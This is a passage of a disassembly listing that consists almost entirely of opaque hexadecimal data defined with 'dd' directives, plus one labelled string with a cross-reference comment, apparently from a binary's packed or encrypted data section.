		dd 4B7C0901h, 5BCDA57Ah, 38CC8075h, 70CC4837h, 8C9DE8h
		dd 95E1014Ch, 6C7DE0DAh, 88A1AA12h, 44215C8Ch, 609ED8Eh
		dd 1A35E378h, 67346000h, 1F94104Bh, 2490588Ah, 18243CAAh
		dd 8C875812h, 0F169D681h, 1491CC50h, 0EA810052h, 4755E132h
		dd 9301D971h, 0F03B9B9Fh, 0E0285075h, 368F409Eh, 968D2274h
		dd 48B64F1Eh, 0AF46D3C1h, 2FD5F171h, 44DD27C0h,	0B82CDFC1h
		dd 0CF08E4A8h, 43AB02A6h, 90CAEF69h, 0F94488C7h, 31CDF60h
		dd 0B37E781Ch, 0E3FBB10Fh, 4C839FACh, 3D02A0F8h, 0F302E2F8h
		dd 0BBD9B471h, 0FC81DC19h, 2DAB2100h, 9A91E280h, 0C3B43E4Dh
		dd 508250DCh, 5D05B91Bh, 7969A8A4h, 0F67905C5h,	0B2DFD2h
		dd 889232B1h, 1806A30Eh, 6A0171CDh, 603A12A8h, 0FDF0804Ah
		dd 6B1E7C48h, 0C16D048Fh, 833A448h, 5CAD407Dh, 0D06BEC4Fh
		dd 4B376801h, 51824F8Ch
		dd 0DC3A5B94h, 9798BE4Eh, 800FE091h, 0BD8EE08Ch, 3D647DF2h
		dd 0B51E0D43h, 4B5B523Ch, 9CB0A534h, 0D8483B0Ch, 2AA3DBDh
		dd 5DBE8DD6h, 16847213h, 0D57B0979h, 0B1900874h, 0CD0EFFC0h
		dd 81CE4323h, 5F0EF27Ch, 172A2280h, 0FFB1796Eh,	0CC211F18h
		dd 79260980h, 44475DFAh, 0F9F28E05h, 8BAC569Bh,	0C09FC898h
		dd 12EC90A3h, 49E39700h, 0D2AB486Ah, 99E42478h,	182505A4h
		dd 1F50B44Dh, 5B9C5820h, 0F9B0D05Eh, 9F395D63h,	0B0AA804Fh
		dd 0ADA63F33h, 84825348h, 703093E2h, 549E0CBh, 1F0AA211h
		dd 0F68CB0DCh, 0F16A7A06h, 31ABFAh, 0D9B4733Bh,	0D2B1DA9h
		dd 0B28C13BDh, 42070093h, 0B712E679h, 50CA4Dh, 0FC1D18ACh
		dd 5A3B21D9h, 23E02E43h, 2291392h, 0D791EBFBh, 630310DEh
		dd 0B9D50B7h, 2A9D589h,	82C598C8h, 0F1BD2713h, 6714490h
		dd 5DAF1594h, 2D05987Fh, 0E81C1725h, 20AC3FCCh,	44A487BDh
		dd 6CE6609Fh, 25240F1Ah, 43E33075h, 0ABE8E2DBh,	0D3000BEEh
		dd 9A54FDD8h, 96FFA8F8h, 0FA465EACh, 1701F004h,	0A8C0C118h
		dd 7884799Fh, 0AB309243h, 735D23E1h, 0BA11840h,	0CED9F7FDh
		dd 0CA8120D3h, 15533523h, 7929288Ah, 0FA6A82DCh, 4CE3C2F8h
		dd 72C6A6D1h, 823C7850h, 0CA198B1Bh, 5DA41055h,	0D588A896h
		dd 1DAA0020h, 0AD904CA9h, 0E07892EFh, 0DD2F7200h, 0BC176F14h
		dd 24B94E6Eh, 0AF4881D4h, 0C0D439BBh, 0F06FAAA1h, 0E577F44h
		dd 0EC73A4CDh, 0C26C9A36h, 6045404Fh, 31DA8F28h, 5D48532Bh
		dd 4DB980A9h, 649912E5h, 0D8270094h, 0EC465EAEh, 2814D279h
		dd 93B4F776h, 0C0C90008h, 95FB7A8h, 0B42C585Bh,	0B7C012CEh
		dd 8158AC37h, 7042B188h, 0C6B3E8CFh, 0CC27003Bh, 0DEF94F79h
		dd 0E8C4B66Ch, 20E449B7h, 3DFF1075h, 20E224F6h,	0CF805511h
		dd 0D14CFBE5h, 8E10E18Ch, 7738E5C7h, 0C1F70C6Bh, 135048E8h
		dd 8C90A44Fh, 189CD630h, 77ADDD01h, 8AFDAB47h, 0A23AC980h
		dd 39595A69h, 1F57500h,	0D2381AD0h, 0F23D4A43h,	9B9200DCh
		dd 0C668C2BBh, 487FC25h, 0A9582805h, 0BDF4C1FCh, 9C671091h
		dd 0D580C18Ah, 2C7F3D2Dh, 0CE7100F0h, 9EE089FDh, 0B1FB1E68h
		dd 1B5F05DCh, 0C388DB85h, 90994552h, 6F929B2h, 8927FFCCh
		dd 0B82988EBh, 83EB444h, 1E3A117h, 2806018Ch, 0EDD980BAh
		dd 87B4261Bh, 9830347Fh, 0DFC80B8h, 0B8C125CBh,	0A873F994h
		dd 4F000E7Bh, 60A3AC25h, 0E6E5F6B0h, 77B44E09h,	0FB4CE4D4h
		dd 0CCDE5D12h, 0F2B1F380h, 5C252Bh, 0BF83BDD8h,	0A5CF8CC2h
		dd 46766C9Ch, 0ADB50991h, 68008B65h, 7DE6C0h, 34533942h
		dd 0A3E7E398h, 0F3A7EB1Eh, 64584B01h, 88607889h, 3433FDFDh
		dd 643C712Ch, 0EF960B3h, 0FE2326CFh, 0F4667098h, 92570E00h
		dd 0A70C48FBh, 338602B9h, 0B4670B4Ah, 1780A157h, 0A03EFD5h
		dd 329710E1h, 0EEF51078h, 0E893DCDh, 0C09E8888h, 54910D6Eh
		dd 0D812BC13h, 70E44417h, 8F450B25h, 1CF2680Bh,	20D045h
		dd 0A2048CCBh, 480959B7h, 0BA1FD038h, 0DD01E6B7h, 533DB903h
		dd 0E450307Ch, 0D4048C52h, 0E94CE8E5h, 8FC558A2h, 0D40480CCh
		dd 9E28339Ch, 5521CCDBh, 257C919Dh, 51B420C3h, 1CD0A2ACh
		dd 0C709725Bh, 0C053C023h, 0D60A836Ch, 0F5F28502h, 3CE9D27h
		dd 38148184h, 0F3CF66Fh, 0C1B07E98h, 2F3AF2DAh,	627BF5D4h
		dd 0E3A938A6h, 7B1AB830h, 0AFD2004Fh, 7735ECFFh, 1975FA5h
		dd 0C309D388h, 403DB420h, 300D4CBh, 767BF906h, 4C12374h
		dd 692025CDh, 94D090EDh, 707FEDCh, 762F81E3h, 7F0A04A8h
		dd 1208B840h, 0DCB2BBFDh, 0C930BAF2h, 49723B81h, 0FCF12089h
		dd 8BC48C10h, 0BA9329C0h, 9EBB89h, 1352E099h, 682EF138h
		dd 0FB27A50Bh, 0BE0817ECh, 0BF6900C6h, 48605DF1h, 128B71AFh
		dd 0B7E9F0Eh, 50C8290Ch, 0F20FFF15h, 0A02D5DB4h, 8E7BFDA6h
		dd 21046029h, 49919E78h, 32B82500h, 0F974757Ah,	47300485h
		dd 81CF3D0Bh, 8062B64h,	5CDA4328h, 30F6ADFCh, 0F6026BB5h
		dd 0F801A8DBh, 0E2DC63FEh, 5E410114h, 8C9030BFh, 7DFF9140h
		dd 0A49E4A1Fh, 19C1E490h, 0B00EA975h, 254C3024h, 68F8638Ch
		dd 71C0F9FEh, 0A99C2607h, 823E0548h, 94A29DF7h,	216CE55Ch
		dd 0A5EFF0D8h, 434B0CACh, 93C8148Bh, 0BF5490C0h, 68C927AEh
		dd 0C0563891h, 33016F72h, 0C21BD555h, 0FCCD47D8h, 0CF8082FAh
		dd 0EC020921h, 491889F7h, 209D95BBh, 60BC0C88h,	0A9D9AFB5h
		dd 93E80816h, 0D0003853h, 91F1060Ch, 768898A3h,	42F0BEEDh
		dd 20B8124h, 0E1CEFECh,	0B1F584E5h, 0B8982988h,	64650013h
		dd 0CB1A2969h, 5C09CE0Dh
		db 0A9h
aHL		db 'h$пl',0             ; DATA XREF: ___:00437DD4o
		dw 5ACCh
		dd 2F7DA6E1h, 90CFEC79h, 5D88B84Dh, 68772FD7h, 87113C2Eh
		dd 0FDC2435Ah, 6024D940h, 9043523Bh, 15C25A00h,	6A20770Eh
		dd 41CCA9D0h, 4BB1AC64h, 1E2CA2C8h, 40024F7h, 0EF3C1646h
		dd 0D4F101C0h, 7CA350Ah, 53C7FC5Dh, 4B055098h, 0B1FA5E70h
		dd 82C6AC41h, 0D12AE1B4h, 69FCF2A0h, 0B8F61FD8h, 48C4750Bh
		dd 70CCF64h, 80F5D9AEh,	0EDFC64AAh, 30235F30h, 0A630D005h
		dd 0EC542CA9h, 0C0465E1Ch, 16E36713h, 4CB0300Dh, 2C005972h
		dd 393BFA97h, 4CF1B63h,	0F5E905FEh, 0C8F253h, 0AA6CF3EAh
		dd 8E2AAEh, 0ECE1E875h,	0BA9C2DF9h, 349EC2EAh, 7F73DE40h
		dd 0DDEF1291h, 8D5B0034h, 0D53D746h, 21ED000h, 237FB0BCh
		dd 82F34A25h, 0E8ECA688h, 91389795h, 50009FBFh,	0E116F404h
		dd 9073584Bh, 0D10B1712h, 0AB370Ch, 0BC1D352Dh,	0E929125Ch
		dd 0A1F00E4h, 81D55464h, 206538FBh, 688045ADh, 4278C7FCh
		dd 0D9475C13h, 77938404h, 0E80EC40Bh, 50AA0491h, 58D1959Ch
		dd 0F03CECFCh, 708CBFB8h, 0F32001D8h, 0E106ED87h, 44783096h
		dd 26769C40h, 8108937h,	13808C87h, 0B55C6E6h, 0C0825804h
		dd 6C4F0AC2h, 8107D058h, 3B69F71Fh, 0D23D88C0h,	7030C54h
		dd 3859AE1Ch, 0C7B1BA03h, 9DF0D2Dh, 0B7FC4CE1h,	2F094C58h
		dd 0F1998225h, 0F5A18004h, 4C850CE3h, 0CFB8B03Dh, 3CF2D852h
		dd 9D35DF00h, 6A7BE2Ah,	6BA5EA0Bh, 44B8C7E4h, 0B98F60A0h
		dd 297400DCh, 5E6FDFECh, 9D09422Dh, 7EAE4389h, 2458A478h
		dd 1F5070A4h, 72FDB940h, 28FF582Fh, 13A46884h, 2BF970C2h
		dd 4F01CC44h, 79467C38h, 81C427F2h, 1953B899h, 60ACFB94h
		dd 65A8475Eh, 4C2470A3h, 894DB94h, 100CFF42h, 768A8E28h
		dd 24DE1534h, 0C482FCC8h, 1EA8B389h, 405910F7h,	0B1B6F66Fh
		dd 0B93A6224h, 58C4F112h, 586BC0Eh, 0B197DEC3h,	7DF03047h
		dd 901C515Bh, 0DC029DF0h, 0C18AB6C9h, 0C415C528h, 8C35BA28h
		dd 1C68550Bh, 0B93F2174h, 622C4525h, 0A518BC0Bh, 0CC86022Ah
		dd 823B06C5h, 8842A85Eh, 99980C9Bh, 0AB219E43h,	60C73E09h
		dd 0F08CC2C0h, 8648B6BDh, 0B6B39479h, 633BDB05h, 0C002D43Ch
		dd 3651537h, 9CFCA3E9h,	4288BCA8h, 83FC1275h, 0EBB0F4A1h
		dd 13781840h, 0F62AF294h, 1294C8C8h, 419089FFh,	99B20ECh
		dd 0F01870F9h, 30424403h, 0EB94751Bh, 20797FB5h, 767A0FF7h
		dd 131F88C5h, 151038CFh, 202705A8h, 0CD1E649h, 9428A408h
		dd 8108CC4Bh, 506FA4A1h, 350142B8h, 4A206939h, 0A380FC40h
		dd 1CE44D1Eh, 0D8C3FCC1h, 0B57E8E3h, 0D691A499h, 4BBC004Dh
		dd 82CA0939h, 0C0670BE1h, 211C528Eh, 50129801h,	75D1AC61h
		dd 0FF171C29h, 8E6484B7h, 0C0C088DCh, 8726AE5Bh, 8B368313h
		dd 0B1CC40C0h, 3CA45873h, 0ABB44CA0h, 0BA2FE09Ah, 538B781h
		dd 5B15862h, 88FFF2C3h,	0B760C3C0h, 0CBC85C99h,	73A300CFh
		dd 83DC99F2h, 4402CEF8h, 252E132Bh, 19CD087h, 6940F1A9h
		dd 0F8FDAFA7h, 6197D0DAh, 19AC71D8h, 114674B8h,	3888C600h
		dd 1B01E3CAh, 90BB832Eh, 0DAFF97BFh, 18221C02h,	2C0D4B1h
		dd 8C0C7F88h, 0F170D08Ch, 4353048Ch, 0AC58FDA6h, 6B38B1F0h
		dd 23AAB00h, 5BB43205h,	70C01BF0h, 29A9C4E2h, 48C4A6D3h
		dd 855611BCh, 0C0C2E5D0h, 0FDBCB1C9h, 0E5C89017h, 7803C245h
		dd 0DEE660B4h, 8A9DE1CFh, 3AB8202Bh, 20EC799Fh,	0C3682E01h
		dd 0E05F2823h, 0D3F060D2h, 794400FCh, 42C43488h, 719094Dh
		dd 0B9F9AF18h, 0B3BC4C6Ch, 0F0593B8Ch, 5E834B82h, 646410E3h
		dd 0F8D79735h, 94F238E2h, 0B108E30h, 0C3469835h, 91DF7490h
		dd 80AEF23Bh, 0E1B8FFC6h, 1E41741Bh, 5681572Dh,	6FAC4B21h
		dd 7C245468h, 0E23ECD00h, 0DDC6D507h, 0AF4D00F9h, 0BEFE185Fh
		dd 172F8265h, 0DF008F2Dh, 0B019468h, 468C12B1h,	0D8517E37h
		dd 0EC405175h, 0EFBCE83h, 0F2EFA774h, 0ED2F0E9Ch, 8AA4018h
		dd 489F5827h, 5A9EEC04h, 6000043Bh, 73730F8Ch, 0BEC8B88Bh
		dd 0B8E377C3h, 928BAB8Ch, 0E1F72428h, 80F21158h, 0FDBB4354h
		dd 58CC9670h, 430F6C35h, 429510C5h, 19D0467h, 70F4A5E0h
		dd 0BB448B2Ch, 0C6B405F2h, 5FC407A9h, 23D042A8h, 475EDB6h
		dd 3600FC70h, 0CF75DF4Fh, 8F89D97h, 0D160B912h,	1E2EBAE9h
		dd 9F66CEBh, 0D10355h, 4D02B800h, 47572B9h, 63452F4Bh
		dd 94E2160Ch, 0A33FDF2h, 0BE778CCEh, 0E2524FA4h, 320FF2B4h
		dd 0C4A23760h, 1B771C01h, 178C4B2Ch, 994E7C64h,	18E6D9B0h
		dd 653107B8h, 81E7ABh, 6C80D33Fh, 0AC848D4Fh, 8C3AC052h
		dd 9D140F23h, 0E04E00EBh, 4498C881h, 3547294Ah,	17FF82E0h
		dd 0F8C8CA91h, 0A941A077h, 80005C45h, 0B10C9057h, 433C0016h
		dd 0E7C86B10h, 0D49177ABh, 0EBB67480h, 7C7A18FAh, 8044B488h
		dd 934EFE60h, 62036F5Ch, 0CC70EDB8h, 2358056Ch,	2F56317Fh
		dd 1F923E8h, 2B62D1ACh,	4883EBBh, 7DF5007Ch, 23CBB2AFh
		dd 0D739D9B0h, 0B4FF000Fh, 85A178D6h, 844C12FDh, 61A4947Bh
		dd 2BF81D84h, 0FBC0C53h, 3E60A904h, 564482D8h, 0E6E4E065h
		dd 6D702760h, 150D7200h, 68A9BD66h, 0B0CBC80h, 585A2FFFh
		dd 326F5901h, 684BAC38h, 12C4D460h, 4BD2FFB1h, 24290D58h
		dd 0A960D8DCh, 1CF4634Ah, 9423D9h, 0C268F069h, 0CCB1C475h
		dd 4880951Ch, 0ACAD2473h, 0D2EE011Fh, 0A02B708Fh, 26A07067h
		dd 0FC121C13h, 98007813h, 5329DD39h, 0F0735891h, 0D09D6CC0h
		dd 2500320Ch, 0DE2CB5F3h, 4EE16Eh, 8E3B6519h, 77D0E6EDh
		dd 0BCE0C459h, 704C01B8h, 0B710F22Fh, 10E4C555h, 4C1E2784h
		dd 5412AC9Dh, 94C1CF9h,	74E883F2h, 0F7EC7F2Dh, 0CC91FF12h
		dd 40B4B888h, 20B7C382h, 8BB1D54h, 2A60007Eh, 78B90656h
		dd 2405CB2Eh, 0E88BF092h, 0D50FD0C1h, 0F3097C2Dh, 1C4B6523h
		dd 0B8CEE05Bh, 75C0BEC8h, 5AA9EB3Ch, 35F09043h,	62252742h
		dd 0C0904D90h, 0A5DFDEDCh, 0C07F0C09h, 0BBECA584h, 0BEF2F8E2h
		dd 4F049E30h, 6128B42Bh, 93B90B07h, 0C5302744h,	3ABF81h
		dd 5B2BFFBEh, 433BDF47h, 67042017h, 0C448000Ah,	0E575560Bh
		dd 67A0E4B0h, 0C2C0CBA7h, 0EBD499h, 65FE0B96h, 0EC43887Dh
		dd 17FDC404h, 801E988Dh, 6AEB8233h, 9104D23Fh, 2B844B99h
		dd 4C4E2CB0h, 0FAE8C4A2h, 94BD018Ch, 50D13556h,	2C002FB4h
		dd 7F0B4CABh, 9C875C1Ch, 8670B9Eh, 289E98F0h, 0F86A63h
		dd 0E2F20651h, 0BBEF6247h, 4D5EB3Ch, 751C0CDBh,	0EA005CF7h
		dd 13E780E1h, 0D0046457h, 24DEE18h, 260C09EEh, 3D085C79h
		dd 8425E8h, 3A94791h, 7C4579CDh, 5C043CBDh, 0B03C070Bh
		dd 201B1DE0h, 9D40E25Dh, 0D11FD8C1h, 75DC0104h,	8DBD2BFCh
		dd 0A80A6711h, 0A3E02C41h, 6A290301h, 519818CCh, 0F1CA8075h
		dd 1897795Ch, 0E2A04F29h, 96831484h, 8B0D06D9h,	6989C3h
		dd 0C4E04A6Eh, 69A97A26h, 10E4AA58h, 420EB67Fh,	1F033B36h
		dd 0D80AF095h, 8879039Dh, 0D9015511h, 2B732DDBh, 8EBC55D7h
		dd 0B91084A0h, 0FFC6E630h, 0B822BB0Bh, 8C6000EBh, 4F1F0B11h
		dd 5D4CC214h, 0DA093C7Ah, 0D9FEC83h, 6BCE5AF8h,	747CB840h
		dd 0BC14A0BEh, 3E54B96Fh, 0B10EC500h, 7E0CD37Bh, 94AB3000h
		dd 4BC4E954h, 75F01CF3h, 5376C0C7h, 6D4EE85Dh, 0DE08A09Ch
		dd 3B030BADh, 0DD0A3851h, 0A500F078h, 0F281B4F7h, 955074F9h
		dd 9891809Dh, 0F3F12E84h, 90417274h, 0B85449D6h, 0EBFF00F2h
		dd 7850DC03h, 7541C4C4h
		dd 23202F2Fh, 0D76A00FBh, 6BB1DEECh, 7D2ECD03h,	7AA8F6F1h
		dd 8A600799h, 0F99A25CFh, 0B8891451h, 8907278h,	0F0411827h
		dd 6C945F12h, 452FA400h, 7B5DED60h, 0B94A1682h,	806CA86Fh
		dd 0EB362174h, 1D9E0084h, 0FF959461h, 9D1798C4h, 40E443B8h
		dd 0A25D4A6Dh, 74205F7Ch, 70F5924h, 6F330F2h, 194BD060h
		dd 0C69F4FE5h, 0B44C0834h, 482CB9B7h, 33E90702h, 60A87CFBh
		dd 0F3F00D73h, 854DF100h, 0BB0C58C6h, 1DD403B4h, 0B0BA5B29h
		dd 6F865EC7h, 812CD975h, 0E0045C3Ah, 14FAA160h,	9DE8D420h
		dd 1CAB5D8Ch, 21A15DC6h, 3C04CE39h, 0BD6D9652h,	0ED8038ACh
		dd 7DC7A15Bh, 0D7938000h, 0FC091029h, 25E8BEAAh, 26BB18C8h
		dd 0C482A34Ah, 1640FA19h, 0B210A9D6h, 8FB40804h, 5A4200AEh
		dd 695B4171h, 217D5C30h, 82BF5F94h, 82CE0485h, 8A209BD4h
		dd 0BFAD1480h, 46834C30h, 0BC2C7F44h, 84A78024h, 5543DC0Bh
		dd 0BD009A78h, 53ED6A12h, 91FBEBD3h, 18861174h,	0CD51B05Eh
		dd 0EE9600C8h, 0BB83A877h, 8B025203h, 0EB252D74h, 49DCFC16h
		dd 863260E1h, 0D0673C39h, 0D3834018h, 7AD48852h, 130EFC8Ch
		dd 0E2F623D0h, 0F17BC38Ch, 0B444040Eh, 0FF5C5B44h, 4E5ACC20h
		dd 0A1B70328h, 35A27AD4h, 0CEC9F780h, 4B888893h, 7F29C34Fh
		dd 7B4DE900h, 0F5C5A61Ch, 493C02D8h, 0D2390BD9h, 8C759840h
		dd 0FCB484E6h, 0D4C0BB92h, 6071B478h, 3E8318D0h, 2C807E1Bh
		dd 0C4BB4CB5h, 8C0DF8h,	0BDEFF16Bh, 3D2D72B0h, 88904B4Fh
		dd 82AB0784h, 27220844h, 340C03ADh, 894BFF84h, 2E02F801h
		dd 0A2B06CC9h, 9A5D1FECh, 536A1010h, 48984875h,	468B81D4h
		dd 68A420FFh, 0B8A703BCh, 994E2350h, 0B124C8h, 107FE2Ah
		dd 315C1AA7h, 5FECC300h, 91E93AD4h, 2B720C8Dh, 0AF39A112h
		dd 3C3B4D88h, 0FB4C96EDh, 4F0331Dh, 0C0758427h,	0EA97BA4h
		dd 50236445h, 55B9C00h,	0C83B6F4Bh, 8219A400h, 8A741E07h
		dd 58BAEA36h, 2F5BD063h, 0E0923C0h, 0B4D333A0h,	60380A4h
		dd 3B2E0AEEh, 80C285A7h, 9C8ED794h, 2560A923h, 0B074D592h
		dd 0A5B3FF6h, 0E4808AB9h, 3C964D3Dh, 0E4992CE2h, 0DAF83600h
		dd 0CB2701Dh, 0A18850A3h, 7893D580h, 0DC64803Ch, 0DA0383C0h
		dd 75920421h, 1CE2FDFFh, 0A140E0E8h, 0FEBC410Ah, 9C487CFCh
		dd 58A8E80Dh, 5569DCDCh, 3890BCB4h, 8D522AEh, 0E3B52027h
		dd 8A6DB242h, 46746CB8h, 3CA10512h, 7FB4AC5h, 7328C1Fh
		dd 9854B927h, 85603982h, 11B09F87h, 1CA29394h, 0AB973C00h
		dd 5F2575CBh, 1C8080BDh, 5EA84309h, 80B4DBBAh, 0D525F7BBh
		dd 23CB056Dh, 0E47B6F5Dh, 0C0414740h, 0AD8E282Ch, 7E3AF8A0h
		dd 1F000AE6h, 0E7E5CC0Ch, 25783CDDh, 3441C725h,	4AB82D1Ah
		dd 22C1709Ah, 0F47C3E56h, 3CF780D1h, 2F7D0BA8h,	3A07671h
		dd 5EC6F2D7h, 433E0BC0h, 80A435B5h, 0CBE0F14Fh,	0AD01E4BAh
		dd 0E22D2569h, 887DB1ECh, 23351078h, 6EA41426h,	24171690h
		dd 0A4FC404Ah, 44A4829Eh, 30AFE844h, 0AD9FBAC0h, 0F6CCE903h
		dd 0B8357C1Ch, 59938A4h, 5ECFBD67h, 0F1B40BFCh,	209DB029h
		dd 2B809811h, 9975E84h,	83EEE09Ah, 737C9AA1h, 3094A21Ch
		dd 0A313C3E8h, 0ECB2FD97h, 0A6230D00h, 6F7D2934h, 17A51500h
		dd 0CE8CF947h, 3DB301A9h, 61F77606h, 4F3600E4h,	0D01B0BEAh
		dd 5002C6CFh, 508ECA46h, 7CA7120Eh, 0F7E6B0F4h,	3200AB58h
		dd 0C77A225h, 3E1D643Eh, 0A89B84DCh, 49E95151h,	1FD4204Ch
		dd 7093EA02h, 0C45AE42Ah, 0B6F60984h, 7C70D038h, 0CA02BF42h
		dd 93251773h, 0AE9778DCh, 128138E0h, 0A1631327h, 0E034318Ch
		dd 3C8383A5h, 4112BE10h, 0C27CBCFDh, 5C206F0Ch,	0F7FF0304h
		dd 590C955Dh, 189E8817h, 44F91227h, 0C0D89BF8h,	50D35C85h
		dd 94A24DE8h, 340B4200h, 0F06DFFFAh, 44C9495h, 48F2523h
		dd 0B3E34468h, 0C82E0140h, 71303CBh, 3C909D60h,	80787F0Eh
		dd 989E551Fh, 84C31050h, 64C8C595h, 287960BFh, 1D6502C6h
		dd 869C20A9h, 0B19C0856h, 552060EAh, 732D0281h,	0F5AEB44Dh
		dd 39473056h, 0F1030548h, 0AD0BC71h, 0DC846311h, 0ABF2E760h
		dd 305302FBh, 195D2DD8h, 81E6B8D0h, 5A705B5Dh, 0D48B0413h
		dd 23C2FD88h, 0A891D70Ah, 0AC2F3A58h, 0E301BF23h, 0C608B48Bh
		dd 8910C27Ah, 5B63DE00h, 0A95D2C99h, 0B179319Eh, 5C207BC8h
		dd 1353F3FBh, 0D8DF7Ah,	0AD582631h, 0D8A079C7h,	691CD47Eh
		dd 7680A9D2h, 44FA5E45h, 46850029h, 5C92EDCFh, 6F05EA8Ah
		dd 205A41E5h, 0B0CC30AFh, 38EA77A4h, 0CB252E09h, 88685414h
		dd 4207DC47h, 0BAF01F5Bh, 96FEF172h, 7185BA00h,	0A6FAF45h
		dd 1CE0DC88h, 5E838256h, 4449769Fh, 2F3E45h, 2B009423h
		dd 2539B4A0h, 214826AAh, 0E689082Ch, 0DCE46A17h, 229803FBh
		dd 0DFC3652Ah, 64F47FC2h, 116C1D2Fh, 745C8010h,	748FCCFCh
		dd 74E4BD6Dh, 82511F3Bh, 0F7826362h, 18A0555Fh,	0BFCB3F2h
		dd 0E5D80E17h, 1D00D8F2h, 27B957CBh, 0DB0E3F82h, 0A75993A9h
		dd 0E0CF5053h, 6FEFDCBEh, 338913CDh, 0B2080D6h,	30BC881Fh
		dd 98291784h, 6DF8C00h,	0E09EB828h, 2799A443h, 44E2D329h
		dd 713BE4C1h, 24427A3Ch, 0E47778B8h, 3D90794h, 46A975DCh
		dd 2C301998h, 9C12217Eh, 73401E51h, 7419EDA8h, 0F7B010A9h
		dd 0D99C00E2h, 2BE0D4E4h, 5018FD89h, 1760C91Eh,	14E0B67Dh
		dd 2A323404h, 0F4F22949h, 4F0044E8h, 6243C311h,	1F1AA185h
		dd 0C0B1E3FAh, 230F6BCCh, 0E04D6709h, 11D02718h, 210080Ch
		dd 474CB0DDh, 51E0487Dh, 0ED78A754h, 0ACC2C030h, 0EF016BF9h
		dd 8F093B98h, 2089CCAAh, 44E677B8h, 4EF71D20h, 573C2037h
		dd 6D002689h, 3B5E54E5h, 3D35DD7h, 0A4D05C0Bh, 0E1A9D6CCh
		dd 0FB5BDCB4h, 0AC44B17Fh, 0E51C0074h, 6153CCB8h, 4124025h
		dd 0AC005875h, 0B72C41A7h, 0E5452B1Ah, 848B2588h, 9FD94059h
		dd 171DB818h, 0EB41A074h, 0E6FC55B3h, 40A8D030h, 9A4F5D8Ch
		dd 870DE8D0h, 0E8EC8113h, 0F4818B97h, 84BC2183h, 397A3C80h
		dd 0C4C7FF2Ah, 6AC80FB5h, 0ED82D850h, 41E6E906h, 3C607740h
		dd 9794928Bh, 17C3DC4Dh, 7E9588BEh, 0CA233E8Fh,	5D65B13h
		dd 0D025F3FCh, 192017D4h, 0F044984Ah, 303672Eh,	0C105842Fh
		dd 3560C709h, 503CEC90h, 2FA4EC8h, 879AF9E8h, 98EDC404h
		dd 0DA5BF401h, 0C4AFC096h, 0BB27AAD2h, 0C4C1081h, 6D603021h
		dd 4D7F2D51h, 3591389Ch, 90300316h, 0FC208AF4h,	0CABCA054h
		dd 38FD39D2h, 9E3E2CB8h, 63938080h, 0E23CC8F3h,	0B46871A3h
		dd 0FEDC00F4h, 2DCB86BBh, 7E633D1Fh, 0FF1C98A5h, 92F1701Fh
		dd 768120E0h, 7B705Bh, 0CE75BD00h, 4FFD1049h, 0B7252D12h
		dd 911640FCh, 80689B03h, 0D9B98CDBh, 5830451h, 0BCE34593h
		dd 8CBABC84h, 82976400h, 897257BBh, 2C33169h, 2AECB920h
		dd 8C7B102Eh, 0EFAA3F01h, 46231952h, 0EDB4303Eh, 96276244h
		dd 0E24091DDh, 40A324F2h, 9DF1FF51h, 8EBD03FDh,	0D6016F7Bh
		dd 60700AC0h, 7930DC17h, 9A828040h, 9D8EFB6Ch, 1C942446h
		dd 9D465Eh, 1B55CD13h, 0E28BB9h, 733BDCFFh, 82F465EAh
		dd 21279493h, 0F70D2D94h, 0BE011468h, 0C2FCD2FFh, 0BB2C2055h
		dd 0DB14109Fh, 503084A2h, 0B3C5F14Dh, 0F7F22EFBh, 50834B24h
		dd 0CEDF223Dh, 2B19A40Dh, 59256080h, 0CEBB25E1h, 0F60F84D0h
		dd 32DB5AB2h, 50D4F0F8h, 98CFDE8h, 0BF91F6D6h, 4403A078h
		dd 166764F7h, 94B2D5F3h
		dd 2BA63F00h, 0DD2A9491h, 705ECF25h, 374FFE98h,	0B9BC1144h
		dd 2661C4C2h, 400B2B3Fh, 6930D6B3h, 0EE22CC5h, 632118BCh
		dd 0DF8E1D01h, 8BB4FDDBh, 44EC002Eh, 4B95EA42h,	40B4FC52h
		dd 0BE120EA4h, 48B2FAD9h, 2C30E8F2h, 3C770EC2h,	3980D94Fh
		dd 0FFF79D4Dh, 10B7B825h, 828252D8h, 0EB406474h, 1B5760h
		dd 8E37BB99h, 1897E4B8h, 82F2E012h, 7655F4B4h, 0E4735CFBh
		dd 0B87CB9D3h, 0C6B601E5h, 48D0526Eh, 88086FBEh, 8CC20A14h
		dd 643B4188h, 0FB39E4E6h, 508EB8BEh, 585890F9h,	9965511h
		dd 518D4007h, 779D11C8h, 409F8C25h, 9D5DB9ACh, 0FCF2A068h
		dd 0A5D9A260h, 9704433Eh, 0C9BD88C8h, 3052195Fh, 85810408h
		dd 5FD62B9Fh, 68F90188h, 0E0E45E44h, 9D4F801Fh,	0FCB944D1h
		dd 0CA48802h, 778C885Dh, 0A575EDEEh, 0E715C03Bh, 3F582398h
		dd 8AE3948Ch, 0A94BC3B0h, 486AE00Bh, 0DA7BB0h, 0BFC9614Ah
		dd 0D3FD7D9Fh, 0A0D1C499h, 60EA8818h, 80D45202h, 60C708F1h
		dd 822A13F0h, 835F0040h, 0BB092086h, 1EEEF507h,	76E99D24h
		dd 6837CB84h, 46EA8280h, 0F428EE74h, 80392D01h,	0D78F2890h
		dd 88BE3E07h, 0C8D1A759h, 442A1F82h, 40D06F28h,	2E77EB69h
		dd 6C4A2575h, 25161456h, 55F7D422h, 8DE1C64h, 78C8D025h
		dd 0DCFF49FCh, 802DDC07h, 0F05C1275h, 7A96B60h,	0F28B84BEh
		dd 5BDC91FEh, 586B7022h, 0E082405h, 2B3A9A2h, 41B75474h
		dd 0E5A2DC52h, 0AF1C1082h, 0E5A43AF7h, 61BFE478h, 2CCC70E8h
		dd 249839h, 0C2A5EA52h,	6E933C45h, 90C52EE1h, 0BB23D03Eh
		dd 997A8500h, 7CCC0D14h, 980E704Bh, 41A24504h, 2158BD8h
		dd 484655BBh, 85BC04BFh, 420174A6h, 23B05E5Ch, 4EEC3845h
		dd 0E8A244A3h, 14CC230h, 95F8E13Eh, 0F810AE7Fh,	0FB009CB0h
		dd 47ADE997h, 0BF7DFAF1h, 9211F09Fh, 0EFBE1182h, 87541AFDh
		dd 0D28838Ch, 33D9D62Ch, 0C8060030h, 814471E5h,	23735AB3h
		dd 0B7F1EDA0h, 802C3896h, 5EEE157Eh, 1E69E4AEh,	0C0CFE5A6h
		dd 0ADCCDC3Ah, 500A926h, 0FC77360Fh, 9D8A2135h,	0C71FD841h
		dd 671800Dh, 6C47E12Fh,	0CCAA3E70h, 88864E8Ah, 0A2009FB4h
		dd 5F7560FCh, 7AAAFB0h,	0DB0223B8h, 256F10CBh, 0E8B4CCB4h
